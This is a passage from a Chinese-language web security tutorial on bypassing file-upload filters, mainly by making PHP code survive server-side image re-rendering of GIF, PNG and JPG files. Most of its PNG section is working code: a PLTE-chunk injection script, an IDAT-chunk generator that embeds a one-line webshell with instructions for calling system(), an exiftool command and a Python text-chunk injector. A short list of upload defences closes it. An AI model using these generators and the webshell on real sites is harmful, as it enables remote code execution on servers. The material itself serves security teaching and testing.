此时解压就会出错,但1.php被保留了下来

原图

在Linux下也有类似的方法,我们可以将文件名改成5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来

原图

原图

但是用bandzip和winrar还是可以正常解压的

这里可以看下P神的关于这个技巧利用的博客

部分解压压缩包利用


有趣的的是当我把文件名改为../../../../shell.php,想看看解压缩会不会造成一个目录穿越


windows下用bandzip解压

它向下深入了五级目录

window下用winrar解压

并没有造成目录改变的问题

这可能和winrar和bandzip解析的规则不同,那么我们是否可以研究一下bandzip,使其不是向下解压而是向上进行目录穿越呢

在linux下解压正常,它也不会识别../这种形式

关于bandzip有待研究

二次渲染绕过

**二次渲染**是指在文件上传过程中,服务器对上传的图片进行格式、尺寸等方面的处理,生成新的图片并显示在网站上。这个过程可能会导致服务器替换或更新图片中的内容。在安全领域,二次渲染可能会被利用来绕过文件上传的安全限制。

当用户上传文件后,服务器会对图片进行二次处理,如调整格式和尺寸要求。这个处理过程中,服务器会生成一个新的图片,替换掉原有的图片内容,并将新图片显示在网站上。这种处理通常是为了满足网站的标准化要求,例如,确保图片符合特定的显示格式。

绕过技巧

绕过二次渲染的常见方法包括:

  • 配合文件包含漏洞:将一句话木马插入到网站处理后的图片中,确保这部分数据在二次渲染后不会被删除。这样,二次渲染后的图片中就存在了木马代码,再配合文件包含漏洞,可以获取webshell。
  • 利用条件竞争:利用服务器在文件上传后先保存文件再进行后缀名判断的逻辑漏洞,通过条件竞争在服务器删除不合法文件前访问并执行木马文件,从而绕过安全限制。

Important

绕过二次渲染最重要的一点就是要找到哪些部分没有被渲染,从而针对性的构造payload

上传gif

将<?php phpinfo(); ?>添加到111.gif的尾部.

成功上传含有一句话的111.gif,但是这并没有成功.我们将上传的图片下载到本地.

可以看到下载下来的文件名已经变化,所以这是经过二次渲染的图片.我们使用16进制编辑器将其打开.

可以发现,我们在gif末端添加的php代码已经被去除.

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了.

经过对比,蓝色部分是没有发生变化的

我们将代码写到该位置

上传后在下载到本地使用16进制编辑器打开

可以看到php代码没有被去除.成功上传图片马

上传png

png的二次渲染的绕过并不像gif那样简单.

png文件组成

  • PNG的基本构成为:

8字节头文件+4字节数据长度+4字节数据标识符+数据块数据+4字节CRC校验码

PNG图片由很多数据块组成,每个数据块包含了不同的信息。PNG定义了两种类型的数据块:

  • 一种是称为关键数据块(critical chunk),这是标准的数据块,每个PNG文件必须包含。
  • 另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。
关键数据块

关键数据块包括:文件头数据块、调色板数据块、图像数据块**和**图像结束数据块

  1. “89 50 4E 47 00 DA 1A 0A” png文件的标识符

  2. 文件头数据块IHDR

  3. 调色板数据块PLTE

  4. 图像数据块IDAT

  5. 图像结束数据块IEND

辅助数据块

其余 18 个块类型称为辅助块类型, 编码器可以生成哪些,解码器可以解释。

  1. 透明度信息:tRNS

  2. 色彩空间信息:cHRM、gAMA、iCCP、sBIT、sRGB、cICP

  3. 文本信息:iTXt,tEXt,zTXt
  4. 杂项信息:bKGD、hIST、pHYs、sPLT、eXIf
  5. 时间信息:tIME
  6. 动画信息:acTL,fcTL,fdAT

部分数据块如下:

数据块符号 数据块名称 多数据块 可选否 位置限制
IHDR 文件头数据块 否 否 第一块
cHRM 基色和白色点数据块 否 是 在PLTE和IDAT之前
gAMA 图像γ数据块 否 是 在PLTE和IDAT之前
sBIT 样本有效位数据块 否 是 在PLTE和IDAT之前
PLTE 调色板数据块 否 是 在IDAT之前
bKGD 背景颜色数据块 否 是 在PLTE之后IDAT之前
hIST 图像直方图数据块 否 是 在PLTE之后IDAT之前
tRNS 图像透明数据块 否 是 在PLTE之后IDAT之前
pHYs 物理像素尺寸块 否 是 在IDAT之前
IDAT 图像数据块 是 否 与其他IDAT连续
tIME 图像最后修改时间数据块 否 是 无限制
tEXt 文本信息数据块 是 是 无限制
zTXt 压缩文本数据块 是 是 无限制
IEND 图像结束数据块 否 否 最后一个数据块

写入php代码

直接拼接

网上搜索图片马制作的方法,很容易就能找到的方法就是这种。以下方法的效果是等效的。

1.文本方式打开图片,然后末尾粘贴一句话木马;

2.cmd中 copy 1.png /b + 2.php 3.png

3.使用echo命令追加代码到png图片末尾

这种方法已经烂大街了,这里就不多说了,懂得都懂。在png图像结束块IEND后面紧跟着phpinfo。

image-20221118172606263

预定义文本块注入

PNG 图像格式允许向文件添加注释以存储一些meta data数据。通过查阅PNG文档可以找到已经定义的文本块关键字。

image-20221117091517048

当然这些关键字是可以修改的,通过下载工具https://exiftool.org/来设置这些预定义关键字。

image-20221118105641287

Text Only
exiftool.exe -copyright="<?php phpinfo(); ?>" "D:\hk_tools\file_upload\normal.png"

当然它是可以成功解析的,可以看到文本块copyright后面紧接着就是phpinfo。

image-20221118105749538

PLTE块注入

压缩 PNG 文件时,PHP-GD将删除辅助块以减小输出文件的大小。这就是为什么我们在第一部分中注入的PHP payload无法在压缩过程中幸存下来。

但是,如果我们可以将我们的payload注入到 PNG 文件的关键块中呢?当然,这些块在压缩图像时不会被破坏。执行这种注入的完美候选者是 PLTE 块,这是一个包含 PNG 图像的“调色板”的关键块,即颜色列表。根据 PNG 规范:

PLTE 块包含 1 到 256 个调色板条目,每个条目都是三字节的形式:

Text Only
Red:  1 byte (0 = black, 255 = red)
Green: 1 byte (0 = black, 255 = green)
Blue: 1 byte (0 = black, 255 = blue)

使用PLTE块,我们可能有256*3字节可用于将我们的payload注入到这样一个关键块中,这应该绰绰有余。唯一的限制是有效载荷的长度必须能被3整除。

使用下面的脚本,可以轻松创建PLTE块注入payload的png图像。

PHP
<?php

if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");

$_payload = $argv[1];
$output = $argv[2];

while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
    echo "FATAL: The payload is too long. Exiting...";
    exit();
}
if($_pay_len %3 != 0){
    echo "FATAL: The payload isn't divisible by 3. Exiting...";
    exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));

    imagesetpixel($im,$i,1,$color);
}

imagepng($im,$output);

执行脚本:

Text Only
php gen.php '<?php phpinfo(); ?>'  png-plte-inject.php

使用PLTE注入可以绕过PHP-GD库的压缩,可以成功上传并且成功解析。

image-20221118143204277

IDAT块注入

调整图像大小时,即使是 PLTE关键块的内容也会被破坏,我们的payload也会随之破坏。这些函数实际上只使用原始文件中的像素数据来创建一个全新的图像。关键数据块或辅助数据块中包含的数据都可能会被忽略。

将PHP载荷注入PNG文件的一种相当复杂但有效的方法是将其编码为PNG的IDAT块。

当将原始图像保存为PNG时,图像的每一行都按字节进行过滤,并且该行前缀有一个数字,该数字描述了所使用的过滤器类型(0x01到0x05),不同的行可以使用不同的过滤器。这背后的基本原理是提高压缩比。过滤完所有行后,它们都使用 DEFLATE 算法压缩以形成 IDAT 块。

要生成一个包含有效PHP代码的IDAT 块,应该找到原始像素的精确组合,这些像素一旦被 PNG线过滤器和DEFLATE算法处理,就会输出所需的有效载荷。

字符串不能包含任何重复的代码块,否则它们将被压缩。

虽然很难,但确实是可以实现的。

可以使用以下脚本来生成110x110的PNG图像,一旦调整为55x55,IDAT汇总将包含 PHP 代码:

PHP
<?php

header('Content-Type: image/png');

$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );

$img = imagecreatetruecolor(55, 55);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php

?>

此脚本生成恶意 PNG 图像:

Text Only
php generate_idat_png.php > png-idat-inject.php

这时候将生成的图像通过/third-part路由上传,就可以触发webshell。

image-20221118155953422

通过发送POST请求来触发php执行。

image-20221118160225397

自定义文本块注入

当Imagick调整图像大小时,它实际上会对文本块执行几个操作:

  • 擦除标记为“Comment”的tEXt块。
  • 覆盖以下tEXt块的值(或者如果它们不存在则定义它们):date:create, date:modify, software, Thumb::Document::Pages, Thumb::Image::Height, Thumb::Image::Width, Thumb::Mimetype, Thumb::MTime, Thumb::Size, Thumb::URI。
  • 保留任何其他tEXt块的原始值(包括不存在预定义关键字的tEXt块)。

因为我们修改的是copyright块,所以是可以绕过thumbnailImage方法的处理的。

使用方法二的图像,可以成功执行。如下图,可以看到它并不是紧跟在tEXt块后面执行。

除了以上预定义关键字,我们还可以自定义关键字。通过以下简单的python代码可以实现。

Python
########################################################################
# $ @Author: dikesi
# $ @Date: 2023-09-29 18:03:32
# $ @LastEditors: dikesi
# $ @LastEditTime: 2023-09-29 19:28:28
# $ @FilePath: \hk_tools\file_upload\png_payload\CustomPNGkeywords.py
# $ @Copyright (c) 2023 by dikesi
########################################################################
from PIL import Image
from PIL.PngImagePlugin import PngInfo
import os
import argparse
# 创建解析器
parser = argparse.ArgumentParser(
    description='CustomPNGkeywords 用于向png写入自定义关键字')
# 添加位置参数
parser.add_argument("-f", type=str, help="请输入原图片路径")
parser.add_argument("--name", type=str, help="请输入自定义标签的名字")
parser.add_argument("--payload", type=str,
                    default="<?php phpinfo(); ?>", help="请输入要插入的payload")
# 解析参数
args = parser.parse_args()


def add_text_to_png(image_path, output_path, keyword, text):
    try:
        im = Image.open(image_path)
        p = PngInfo()
        p.add_text(keyword, text)
        im.save(output_path, pnginfo=p)
        print("文本写入成功")
    except Exception as e:
        print("文本写入失败:", str(e))


# 示例用法
image_path = args.f
dirStr, ext = os.path.splitext(image_path)
image_name = dirStr.split("\\")[-1]
output_path = "./customkeywords/{}_new.png".format(
    image_name)
keyword = args.name.encode("utf-8")
text = args.payload.encode("utf-8")
if __name__ == "__main__":
    add_text_to_png(image_path, output_path, keyword, text)

用exiftool工具查看图片信息,可以发现Aaaaa文本信息成功添加进去了。

当然也可以解析执行。

总结

当服务器可以将图像文件解释为PHP时,例如弱扩展检查、解析漏洞、本地文件包含漏洞、错误配置PHP解析扩展等方式,可以使用这些技术来造成代码执行。

不处理图像 PHP-GD 压缩图像 PHP-GD调整图像大小 Imagick调整图像大小
直接拼接 可以解析 不可以 不可以 不可以
预定义文本块注入 可以解析 不可以 不可以 部分预定义的关键字可以解析
PLTE块注入 可以解析 可以解析 不可以 不可以
IDAT块注入 可以解析 可以解析 可以解析 可以解析
自定义文本块注入 可以解析 不可以 不可以 可以解析

上传jpg

这里也采用国外大牛编写的脚本jpg_payload.php

插入php代码

使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

使用16进制编辑器打开,就可以看到插入的php代码.

上传图片马

将生成的payload_1.jpg上传.

验证

将上传的图片再次下载到本地,使用16进制编辑器打开

可以看到,php代码没有被去除.

证明我们成功上传了含有php代码的图片.

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

如何防御文件上传漏洞

允许用户上传文件是很常见的做法,只要采取适当的预防措施,就不会带来危险。总体而言,保护自己的网站免受这些漏洞侵害的最有效方法就是遵循以下所有建议:

  • 请将文件扩展名与许可的扩展名列表进行比对,而不是与禁止的扩展名列表进行比对。猜测哪些扩展名应该被允许,比猜测攻击者可能会尝试上传哪些扩展名要容易得多。
  • 请确保文件名不包含任何可能被解释为目录或遍历序列的子字符串(如 ../ )。
  • 请重新命名上传的文件,以避免因名称冲突而导致现有文件被覆盖的情况发生。
  • 在文件完全经过验证之前,请勿将其上传到服务器的永久文件系统中。
  • 尽可能使用已经成熟的处理文件上传的框架,而不是尝试自己编写验证机制。